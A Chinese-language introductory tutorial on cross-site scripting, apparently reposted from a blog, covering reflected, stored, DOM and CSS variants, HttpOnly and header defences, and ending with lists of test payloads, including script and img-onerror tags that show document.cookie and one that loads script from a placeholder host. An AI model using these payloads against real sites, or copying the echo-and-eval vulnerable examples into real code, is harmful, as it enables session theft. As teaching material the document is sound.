XSS基础知识
XSS常见类型
反射型 XSS
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见的一种 XSS 攻击方式,属于”1-click“攻击。攻击者通过特定手法(如电子邮件)诱使用户访问包含恶意代码的 URL。当受害者点击这些专门设计的链接时,恶意代码会在其浏览器中执行。反射型 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用于窃取客户端 Cookies 或进行钓鱼欺骗。
存储型 XSS
持久型跨站脚本(Persistent Cross-Site Scripting)也称为存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户点击特定 URL 即可执行。攻击者事先将恶意代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意代码的页面,恶意代码便会执行。持久型 XSS 通常出现在网站留言、评论、博客等交互区域,恶意脚本存储在客户端或服务端的数据库中。
DOM 型 XSS
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM(文档对象模型)的一种漏洞,受客户端浏览器的脚本代码影响。客户端 JavaScript 可以访问浏览器的 DOM,因此能够决定用于加载当前页面的 URL。换句话说,客户端脚本可以通过 DOM 动态检查和修改页面内容,而不依赖于服务器端的数据。如果用户在客户端输入的数据包含恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,应用程序就可能受到基于 DOM 的 XSS 攻击。
CSS 型 XSS
原理
-
利用标签引入外部 JS。
-
利用标签的
style属性,在属性中执行 JS 代码,此方法可以与任意标签结合:<div style="background-image:url('http://127.0.0.1/xss.gif')"></div> <style>body {background: url('http://127.0.0.1/xss.gif')}</style> -
利用
expression表达式(在 IE7 及以下有效,IE8 及以上失效):<div style="{left: expression(alert('xss'))}"></div> -
利用
@import引入外部 JS:<style type="text/css">@import url(http://www.xx.css)</style> body {event: expression(onload = function() {alert('XSS');})} -
还可以利用
@import直接执行 XSS 代码:<style>@import 'javascript:alert('xss')';</style>
例子
1. 反射型 XSS
反射型 XSS 的过程如下:XSS 代码出现在 URL 中,作为输入提交到服务端,服务端解析后响应,响应内容中包含这段 XSS 代码,最终浏览器解析并执行。整个过程就像一次反射,因此称为反射型 XSS。
例如,以下是 http://localhost/xss/test1.php 的代码示例:
<?php
echo $_GET['x'];
?>
尝试提交 http://localhost/xss/test1.php?x=<script>alert('test1')</script>,服务器解析时,echo 会完整输出 <script>alert('test1')</script> 到响应体中,浏览器解析执行触发。
2. 存储型 XSS
存储型 XSS 与反射型 XSS 的区别在于,提交的 XSS 代码会存储在服务端(如数据库、内存或文件系统等),下次请求目标页面时无需再提交 XSS 代码。最典型的例子是留言板 XSS,用户提交一条包含 XSS 代码的留言,存储到数据库,目标用户查看留言时,留言内容会从数据库查询并显示,浏览器发现有 XSS 代码后,会将其当作正常的 HTML 与 JS 解析执行,从而触发 XSS 攻击。
3. DOM 型 XSS
DOM 型 XSS 与反射型、存储型 XSS 的区别在于,DOM 型的代码不需要服务器解析响应的直接参与,触发 XSS 依赖于浏览器端的 DOM 解析,可以认为完全是客户端的事情。
例如:浏览器打开包含以下内容的html页面
查看代码可以发现,eval 动态执行的是 location.hash 中的值,即地址栏 URL 最后跟着的 #XSS 内容。
因此尝试执行请求 #alert(1),浏览器弹出一个框,因为在浏览器解析执行 JavaScript 时,最终执行的是 eval('alert(1)')。这里的 URL# 后的内容不会发送到服务端,而是在客户端被接收并解析执行。
XSS 防御
在 HTTP header 中加入以下字段以启用浏览器自带的 XSS 过滤器:
X-XSS-Protection: 1(默认) 或0(关闭)X-XSS-Protection: 1; mode=block(强制不渲染,Chrome 跳空白页,IE 展示一个 # 号)
Http-only 原理
Http-only 功能可以防止 JavaScript 读取 Cookie,即使黑客获得了在用户浏览器执行 JavaScript 脚本的能力,也无法读取 Cookie,从而达到防御效果。开启 Http-only 功能的方法是将 setcookie() 函数的第七个参数设置为 TRUE,然后删除浏览器上保存的 Cookie 即可生效。

虽然漏洞点依然存在,但 XSS 的恶意脚本已无法读取 Cookie。防御措施主要是对用户输入和输出进行敏感特殊字符的转义与过滤,而 Http-only 从另一个角度提供了防御。
常见的标签
-
<script>标签用于定义客户端脚本,如 JavaScript。<script>alert("hack")</script> <!-- 弹出 hack --> <script>alert(/hack/)</script> <!-- 弹出 hack --> <script>alert(1)</script> <!-- 弹出 1,数字可以不用引号 --> <script>alert(document.cookie)</script> <!-- 弹出 cookie --> <script src=http://xxx.com/xss.js></script> <!-- 引用外部的 xss --> -
<img>标签定义 HTML 页面中的图像。<img src=1 onerror=alert(1);> <img src=1 onerror=alert("xss");> -
<input>标签规定用户输入数据的输入字段。<input onfocus=alert(1);>
常见的 JavaScript 方法
-
alert()alert("xss"); alert(/xss/); alert(document.cookie); -
confirm()confirm('xss'); confirm("xss"); confirm(/xss/); confirm(document.cookie); -
prompt()prompt("xss"); prompt(/xss/); prompt(document.cookie); -
document.write()document.write('<script>alert(/xss/)<\/script>'); document.write('<script>alert(document.cookie)<\/script>'); -
console.log()console.log(alert('xss')); console.log(alert("xss")); console.log(alert(/xss/)); console.log(alert(document.cookie)); -
输出控制台
console.log(document.cookie); console.dir(111);
原文 https://blog.csdn.net/2301_79518550/article/details/144679278